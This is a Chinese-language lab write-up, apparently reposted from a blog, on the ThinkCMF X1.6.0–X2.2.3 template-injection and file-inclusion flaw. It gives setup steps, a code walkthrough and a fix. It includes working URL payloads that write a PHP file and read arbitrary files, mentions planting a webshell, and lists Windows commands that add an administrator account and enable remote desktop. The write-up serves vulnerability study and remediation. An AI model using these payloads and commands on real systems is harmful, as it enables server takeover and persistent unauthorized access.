一, ThinkCMF 简介
ThinkCMF 是一款基于 PHP+MySQL 开发的中文内容管理系统框架, 底层采用 ThinkPHP3.2.3 构建. ThinkCMF 提出灵活的应用机制, 框架自身提供基础的管理功能, 而开发者可以根据自身的需求以应用的形式进行扩展.
每个应用都能独立的完成自己的任务, 也可通过系统调用其他应用进行协同工作. 在这种运行机制下, 开发商场应用的用户无需关心开发 SNS 应用时如何工作的, 但他们之间又可通过系统本身进行协调, 大大的降低了开发成本和沟通成本.
二, 漏洞描述
引起漏洞的最主要的问题是因为 fetch 函数和 display 函数是 public 类型.
fetch 函数的作用是获取页面内容, 调用内置模板引擎 fetch 方法, ThinkPHP 的模版引擎使用的是 smarty, 在 smarty 中当 key 和 value 可控时便可以形成模板注入.
display 函数的作用是加载模板和页面输出, 所对应的参数为: templateFile 模板文件地址, charset 模板字符集, contentType 输出类型, content 输出内容.
fetch 和 display 的用法差不多, 二者的区别就是 display 方法直接输出模板文件渲染后的内容, 而 fetch 方法是返回模板文件渲染后的内容.
三, 漏洞影响版本
- ThinkCMF X1.6.0
- ThinkCMF X2.1.0
- ThinkCMF X2.2.0
- ThinkCMF X2.2.1
- ThinkCMF X2.2.2
- ThinkCMF X2.2.3
四, 漏洞环境搭建
1, 下载 ThinkCMF2.2.2 版本, 下载地址: https://github.com/thinkcmf/cmfx
2, 解压之后直接放到 phpstudy 环境的 web 根目录下, 访问 http://192.168.10.171/cmfx/
3, 输入数据库密码, 设置用户名, 密码, 邮箱等完成安装设置, 如下成功安装
五, 漏洞复现
1, 使用 Sublime text 打开 cmfx-X2.2.2 文件夹, 首先分析主页代码, 发现看一下程序的项目路径在 application 目录下
2, 跟进 application, 发现 IndexController.class.PHP(入口分组的控制器类)
3, 发现 IndexController 类中只有一个方法 display 方法, 跟进父类 HomebaseController 文件
4, 根据 ThinkPHP 框架规则, 可以通过 g\m\a 参数指定分组 \ 模块 \ 方法, 这里可以通过 a 参数直接调用 Portal\IndexController 父类 (HomebaseController) 中的一些权限为 public 的方法.
ThinkPHP 框架规则参考: https://www.cnblogs.com/czx521/p/6536954.html
5.1, 分析发现 display 函数和 fetch 函数是权限为 public, display 函数的作用是加载模板和页面输出, 所对应的参数为: templateFile 模板文件地址, charset 模板字符集, contentType 输出类型, content 输出内容. templateFile 参数会经过 parseTemplate 函数处理.
5.2, 跟进 parseTemplate 函数, 判断模板是否存在, 当模板不存在时会在当前目录下开始查找, 这里配合一处上传形成文件包含. 最终形成的 payload :index.PHP?a=display&templateFile=xx.txt
6,fetch 函数的作用是获取页面内容, 调用内置模板引擎 fetch 方法, ThinkPHP 的模版引擎使用的是 smarty, 在 smarty 中当 key 和 value 可控时便可以形成模板注入.
这里 fetch 函数的三个参数分别对应模板文件, 输出内容, 模板缓存前缀. 利用时 templateFile 和 prefix 参数可以为空, 在 content 参数传入待注入的 PHP 代码即可.
7, 第一种利用方法使用 a 参数的 fetch 方法, 实现远程代码执行
7.1,payload 如下:
?a=fetch&templateFile=public/index&prefix=''&content=<PHP>file_put_contents('test.php','<?php phpinfo(); ?>')</PHP>
执行 payload, 页面是空白的
7.2, 访问 test.PHP
7.3, 上传一句话木马
7.4, 菜刀连接
7.5, 新建用户并添加到管理员组, 开启远程桌面连接
- net user test test /add
- net localgroup administrators test /add
- REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
7.6, 然后远程连接就行
8, 第二种方法, 通过构造 a 参数的 display 方法, 实现任意文件包含
Payload: ?a=display&templateFile=README.md
六, 漏洞修复
可以通过漏洞成因看出来, 引起漏洞最主要的原因就是 fetch 和 display 函数是 public, 可以在外面被访问, 因此修复方案就是将 HomebaseController.class.PHP 和 AdminbaseController.class.PHP 类中 display 和 fetch 函数的修饰符改为 protected, 使他们无法在外面被访问.
------------------------------------------------------------------------------------
参考: https://xz.aliyun.com/t/6626
来源: https://www.cnblogs.com/yuzly/p/11797485.html